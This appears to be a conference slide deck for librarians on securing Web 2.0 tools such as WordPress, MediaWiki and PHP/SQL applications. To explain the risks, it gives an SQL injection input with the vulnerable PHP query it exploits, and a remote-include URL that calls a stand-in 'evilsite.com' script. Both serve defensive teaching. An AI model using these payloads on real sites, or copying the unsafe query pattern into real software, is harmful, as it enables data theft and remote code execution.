

Hacking Web 2.0

Protecting wikis, blogs and SQL databases

Jason J. Battles and Dale Poulter

Introduction

Web 2.0 provides many opportunities for libraries and librarians to connect with users.

Libraries throughout the globe continue working to install blogs, wikis, social networking applications, etc. into their online presence.

While Web 2.0 applications provide great rewards, they are fraught with risk, often unrealized until their shiny new app has been defaced or otherwise compromised.

Applications

- Blogs
 - WordPress
 - Movable Type
 - Blogger
- Wikis
 - MediaWiki
 - PmWiki
- SQL and/or PHP driven applications

Applications - General

General Security Guidelines

- Keep a record, spreadsheet, etc. of all third party applications and their installed versions.
- Stay at or near the most current and stable release.
- Join related mailing lists.
 - This will alert you more quickly to any discovered vulnerability

Applications - Blogs

WordPress

- An online security firm's recent harvesting of 50 WordPress blogs found that 49 were vulnerable to a known attack.
- Combating spam
 - Akismet installed by default on current version
 - Additional changes in *Options>Discussion>Comment Moderation*:
 - Change the number of links allowed in posts
 - Add to the Spam Words list
 - Comment blacklist

Applications - Blogs

WordPress (cont.)

- In March 2008, an exploit of WordPress 2.3.3 caused 90,000+ blogs to fall victim to a spam attack.
- The exploit allowed the attacker to create a new directory, load it with spam-laced html files containing JavaScript redirects.

Applications - Blogs

Movable Type

- As with WordPress, Movable Type administrators struggle to deal with spam comments.
 - Movable Type 3 and later offers a way to accept an identity for each commenter, and to control or manage submissions based on that identity.
 - Switching to dynamic publishing doesn't avoid comment spam, but it can significantly reduce the amount of work your server needs to handle for each incoming spam.

Applications - Blogs

Movable Type (cont.)

- Security by obscurity
 - Part of the problem with a default Movable Type installation is that the commenting mechanism is identical to that of all other default Movable Type installations, which means that once a spammer has a script that can spam one site with a default configuration, it can spam any of them.
 - One simple form of obscurity is to rename the CGI script that handles comments.

Applications - Blogs

Blogger

- Hosted blogs have the same issues. The downside is you don't always have the ability to implement any measure to prevent it.
- Blogger has embarked on an effort to remove all the spam blogs from its system. In the process, many innocent bloggers have had their blogs wrongly marked as spam.

Applications - Blogs

Blogger (cont.)

- The following notice was sent to those suspected blogs:
“Your blog will be deleted within 20 days if it isn’t reviewed, and you’ll be unable to publish posts during this time. After we receive your request, we’ll review your blog and unlock it within two business days. If this blog doesn’t belong to you, you don’t have to do anything, and any other blogs you may have won’t be affected.”

Applications - Wikis

MediaWiki

➤ LocalSettings.php security changes

- Restrict anonymous editing
`$wgGroupPermissions['*']['edit'] = false;`
- Prevent new user registrations
`$wgGroupPermissions['*']['createaccount'] = false;`
- Restrict anonymous viewing
`$wgWhitelistRead = array(".Main Page", "Special:Userlogin", "Wikipedia:Help")`

Applications - Wikis

PmWiki

- Restrict editing
 - `userauth`
- Require approval for submitting URLs
 - `include_once("$FarmD/scripts/urlapprove.php");`
- Set UNIX file system permissions to 775
 - `rwrxwrx-x`
- Run PHP in safe mode

Vulnerabilites

Many Web 2.0 applications are susceptible to these exploits.

- Cross-Site Scripting (XSS)
- SQL Injection
- PHP Includes

Vulnerabilites

Cross-Site Scripting (XSS)

- Code injection vulnerability
- XSS attacks are often written in HTML or XHTML with a scripting language like JavaScript.

Types of XSS

- DOM-based
- Non-Persistent
- Persistent

Vulnerabilites

SQL Injection

- It is an input vulnerability.
- In order to protect against it, do not pass input values directly into SQL statements.
- Escape or filter input and pass the "sanitized" output.
 - PHP `mysql_real_escape_string()` function
Escapes special characters so that it is safe to place it in a `mysql_query()`.

Vulnerabilites

SQL Injection (cont.)

Example

1. An online order form has an input box for phone number
2. A hacker enters:

`' || 'a' = '`
3. All of the customers complete records are returned to the screen
4. Your inbox fills with spam

Vulnerabilites

SQL Injection (cont.)

Example

- How did it happen?
- Code behind the scenes:

```
$select = "SELECT *";  
$from = " FROM dbtable";  
$where = " WHERE phone = " . $phone . "";  
$queryResult = @mysql_query($select, $from, $where);
```
- The resulting query with the malicious string:
 - `SELECT * FROM dbtable WHERE phone = ' || 'a' = 'a'`
 - This is always true!

Vulnerabilites

PHP Includes

- Code injection vulnerability
- Set `allow_url_fopen` to **false** in `php.ini`
 - If this value is set to **true**, URLs can be used in a variable and that variable will be followed and the code in the URL variable executed on the host server.
 - `http://mysite.com/index.php?page=http://evilsite.com/evil.php`
 - In the above example, PHP will follow the link and execute `evil.php` in the middle of the web page.
- Turn on extended web logs

System Security

Operating System

- Routinely patch your OS
- Avoid running beta code on production servers
- The "D" word – Document changes
- Monitor server logs as well as web logs
- Maintain Firewall and review firewall logs

System Security (cont.)

Firewalls

- ipf (Solaris), iptables (RHEL), windows firewall (Windows)
- Filters
 - AQTRONIX WebKnight is an application firewall for IIS and other web servers.
➤ <http://www.aqtronix.com/?PageID=99>

Web server security

- Only have needed modules install
- Maintain current version of server (apache)
- Disable directory browsing
- Restrict permissions (executables) as much as possible
- Use virtual hosts as much as possible and separate logs
 - Allows for easier troubleshooting and intrusion detection

PHP/ASP/ASP.net/JSP/etc

- Validate user input
- Avoid allowing html code as input (<,>)
- Avoid displaying server information if possible
 - Use custom errors (config.xml)
 - Do not leave test scripts on server (phpinfo())
 - Expose_php = off
 - ServerSignature off (apache)
 - Servertokens ProductOnly (apache)
 - Define custom errors (web.xml –tomcat)

Resources

- The top 10 reasons Web sites get hacked
 - http://www.infoworld.com/article/07/10/05/Top-10-reasons-Web-sites-get-hacked_1.html
- Code Injection Vulnerabilities Explained
 - http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html
- Defending against SQL Injection Attacks
 - <http://st-curriculum.oracle.com/tutorial/SQLInjection/index.htm>
- The security risk in Web 2.0
 - http://news.cnet.com/The-security-risk-in-Web-2.0/2100-1002_3-6099228.html
- Understanding PHP Exploits
 - <http://www.ciac.org/ciac/techbull/CIACTech08-001.shtml>
- Web 2.0 Security by Shreeraj Shah

Resources (cont.)

- CERT
 - Located at Carnegie Mellon's Software Engineering Institute
 - Study internet security vulnerabilities
 - Develop information to help improve security
 - <http://www.cert.org>
- Open Web Application Security Project (OWASP)
 - Help organizations make informed decisions about application security risks
 - Open community using MediaWiki
 - <http://www.owasp.org>
